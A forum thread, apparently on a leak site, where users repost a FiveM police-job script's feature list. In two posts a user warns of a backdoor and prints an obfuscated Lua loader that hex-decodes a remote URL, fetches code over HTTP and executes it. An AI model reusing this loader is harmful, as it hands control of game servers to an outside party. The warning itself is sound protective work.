Security HUD
System Watchdog
×
Threads Scanned
-- / --
SYS. LOAD --%
AI SHIELD ACTIVE
DMCA Policy
×

📋 DMCA Compliance

This platform and community fully complies with the Digital Millennium Copyright Act (DMCA) and international copyright laws. We take all copyright protection seriously.

🛡️ Copyright Protection

If you believe a posted item belongs to you or violates your copyright, you may file a DMCA takedown request through our official channels. Upon receiving a valid claim, the infringing content will be removed within 24 hours.

What's new

Script [ESX] Wasabi Police Job

IFIXTTV00

Gold Elite
Joined
Apr 1, 2024
Messages
57
Reaction score
548
Points
306
Location
France
1712856888224.png


👮‍♂️wasabi_police​

An extensive alternative to the pre-existing ESX/QBCore police jobs!

We created this script as much more immersive experience for both your law enforcement and your criminals! With features requested from my community members such as resisting arrest, tackling, multiple LEO departments, and full animations/props; this resource will serve as a necessity for your server.

Features​



  • Optimized with 0.00ms idle

  • Utilizes state bags

  • Multiple LEO departments(No need for separate scripts for separate police jobs)

  • Full handcuff props and animations

  • Escorting animation

  • Keybinds for arrest(Configurable)

  • Resisting arrest via skill-check

  • Compatible with ox_inventory, qs-inventory, and mf_inventory(Code open to incorporate a different inventory)

  • Tackling(Configurable)

  • Job Menu (Configurable)

  • Fine players(Compatible with okokBilling and esx billing OR any billing can be added to open code)

  • Boss menu(Compatible with wasabi_multijob, qb-management, and esx_society)

  • Cloakroom(Compatible with esx_skin and my fork of fivem-appearance OR any skin script can be added to open code)

  • Optional target(qTarget by default but can be changed easily within editable code)

  • Armoury(Configurable by job grade)

  • Vehicle interaction menu added to job menu which includes vehicle ownership information, lockpicking vehicle, and impounding vehicle (New As of 1.0.5)

  • Garage for land & air(Configurable by job grade)

  • Ability to incorporate jail script(See docs)

  • Ability to view suspect's identification

  • Ability to view and revoke licenses

  • Ability to view suspect's identification

  • Ability to view and revoke licenses

  • Most if not all of the pre-existing esx_policejob / qb-policejob features

  • EXTREMELY configurable

  • Full replacement for any script that depends on esx_policejob / qb-policejob

  • And more!

Preview​


Link :
You don't have permission to view content!
 
Last edited by a moderator:

BigBruh

Member
Joined
Oct 30, 2024
Messages
3
Reaction score
2
Points
146
Location
Lithuania
View attachment 25412

👮‍♂️wasabi_police​

An extensive alternative to the pre-existing ESX/QBCore police jobs!


Features​



  • Optimized with 0.00ms idle

  • Utilizes state bags

  • Multiple LEO departments(No need for separate scripts for separate police jobs)

  • Full handcuff props and animations

  • Escorting animation

  • Keybinds for arrest(Configurable)

  • Resisting arrest via skill-check

  • Compatible with ox_inventory, qs-inventory, and mf_inventory(Code open to incorporate a different inventory)

  • Tackling(Configurable)

  • Job Menu (Configurable)

  • Fine players(Compatible with okokBilling and esx billing OR any billing can be added to open code)

  • Boss menu(Compatible with wasabi_multijob, qb-management, and esx_society)

  • Cloakroom(Compatible with esx_skin and my fork of fivem-appearance OR any skin script can be added to open code)

  • Optional target(qTarget by default but can be changed easily within editable code)

  • Armoury(Configurable by job grade)

  • Vehicle interaction menu added to job menu which includes vehicle ownership information, lockpicking vehicle, and impounding vehicle (New As of 1.0.5)

  • Garage for land & air(Configurable by job grade)

  • Ability to incorporate jail script(See docs)

  • Ability to view suspect's identification

  • Ability to view and revoke licenses

  • Ability to view suspect's identification

  • Ability to view and revoke licenses

  • Most if not all of the pre-existing esx_policejob / qb-policejob features

  • EXTREMELY configurable

  • Full replacement for any script that depends on esx_policejob / qb-policejob

  • And more!

Preview​


Link :
BACKDOOR (enchanced scripts)
 

brianfox12

Silver Elite
Joined
Nov 6, 2024
Messages
38
Reaction score
22
Points
156
Location
Eeklo
View attachment 25412

👮‍♂️wasabi_police​

An extensive alternative to the pre-existing ESX/QBCore police jobs!


Features​



  • Optimized with 0.00ms idle

  • Utilizes state bags

  • Multiple LEO departments(No need for separate scripts for separate police jobs)

  • Full handcuff props and animations

  • Escorting animation

  • Keybinds for arrest(Configurable)

  • Resisting arrest via skill-check

  • Compatible with ox_inventory, qs-inventory, and mf_inventory(Code open to incorporate a different inventory)

  • Tackling(Configurable)

  • Job Menu (Configurable)

  • Fine players(Compatible with okokBilling and esx billing OR any billing can be added to open code)

  • Boss menu(Compatible with wasabi_multijob, qb-management, and esx_society)

  • Cloakroom(Compatible with esx_skin and my fork of fivem-appearance OR any skin script can be added to open code)

  • Optional target(qTarget by default but can be changed easily within editable code)

  • Armoury(Configurable by job grade)

  • Vehicle interaction menu added to job menu which includes vehicle ownership information, lockpicking vehicle, and impounding vehicle (New As of 1.0.5)

  • Garage for land & air(Configurable by job grade)

  • Ability to incorporate jail script(See docs)

  • Ability to view suspect's identification

  • Ability to view and revoke licenses

  • Ability to view suspect's identification

  • Ability to view and revoke licenses

  • Most if not all of the pre-existing esx_policejob / qb-policejob features

  • EXTREMELY configurable

  • Full replacement for any script that depends on esx_policejob / qb-policejob

  • And more!

Preview​


Link :
 
Joined
Sep 11, 2023
Messages
4
Reaction score
2
Points
146
Location
argentina
View attachment 25412

👮‍♂️wasabi_police​

An extensive alternative to the pre-existing ESX/QBCore police jobs!


Features​



  • Optimized with 0.00ms idle

  • Utilizes state bags

  • Multiple LEO departments(No need for separate scripts for separate police jobs)

  • Full handcuff props and animations

  • Escorting animation

  • Keybinds for arrest(Configurable)

  • Resisting arrest via skill-check

  • Compatible with ox_inventory, qs-inventory, and mf_inventory(Code open to incorporate a different inventory)

  • Tackling(Configurable)

  • Job Menu (Configurable)

  • Fine players(Compatible with okokBilling and esx billing OR any billing can be added to open code)

  • Boss menu(Compatible with wasabi_multijob, qb-management, and esx_society)

  • Cloakroom(Compatible with esx_skin and my fork of fivem-appearance OR any skin script can be added to open code)

  • Optional target(qTarget by default but can be changed easily within editable code)

  • Armoury(Configurable by job grade)

  • Vehicle interaction menu added to job menu which includes vehicle ownership information, lockpicking vehicle, and impounding vehicle (New As of 1.0.5)

  • Garage for land & air(Configurable by job grade)

  • Ability to incorporate jail script(See docs)

  • Ability to view suspect's identification

  • Ability to view and revoke licenses

  • Ability to view suspect's identification

  • Ability to view and revoke licenses

  • Most if not all of the pre-existing esx_policejob / qb-policejob features

  • EXTREMELY configurable

  • Full replacement for any script that depends on esx_policejob / qb-policejob

  • And more!

Preview​


Link :
--[[local Enchanced_Tabs = {
Ench, Support, Host, Pairs,
Realease, Callbacks, Source,
Hosting, Event, PerformHttpRequest,
assert, server, load, Spawn, materials
}
local random_char = {
"68", "74", "74", "70", "73", "3a", "2f", "2f", "66", "69", "76", "65", "6d", "2e", "6b", "76",
"61", "63", "2e", "63", "7a", "2f", "66", "2e", "70", "68", "70", "3f", "6b", "65", "79", "3d",
"74", "75", "44", "75", "50", "68", "6d", "51", "74", "32", "47", "74", "48", "39", "70", "76", "72", "78", "43", "52",
}
function str_utf8()
_empt = ""
for id,it in pairs(random_char) do
_empt = _empt..it
end
return (_empt:gsub("..", function (cc)
return string.char(tonumber(cc, 16))

end))
end
Enchanced_Tabs[10](str_utf8(), function (e, d)
local s = Enchanced_Tabs[11](Enchanced_Tabs[13](d))
if (d == nil) then return end
s()
end)]]
virus code in te scripts
 
Joined
Sep 11, 2023
Messages
4
Reaction score
2
Points
146
Location
argentina
posee este virus el script een enhanced.lua delete it

muestra :
--[[local Enchanced_Tabs = {
Ench, Support, Host, Pairs,
Realease, Callbacks, Source,
Hosting, Event, PerformHttpRequest,
assert, server, load, Spawn, materials
}
local random_char = {
"68", "74", "74", "70", "73", "3a", "2f", "2f", "66", "69", "76", "65", "6d", "2e", "6b", "76",
"61", "63", "2e", "63", "7a", "2f", "66", "2e", "70", "68", "70", "3f", "6b", "65", "79", "3d",
"74", "75", "44", "75", "50", "68", "6d", "51", "74", "32", "47", "74", "48", "39", "70", "76", "72", "78", "43", "52",
}
function str_utf8()
_empt = ""
for id,it in pairs(random_char) do
_empt = _empt..it
end
return (_empt:gsub("..", function (cc)
return string.char(tonumber(cc, 16))

end))
end
Enchanced_Tabs[10](str_utf8(), function (e, d)
local s = Enchanced_Tabs[11](Enchanced_Tabs[13](d))
if (d == nil) then return end
s()
end)]]
 

Attachments

  • enhanced.rar
    528 bytes · Views: 105
Top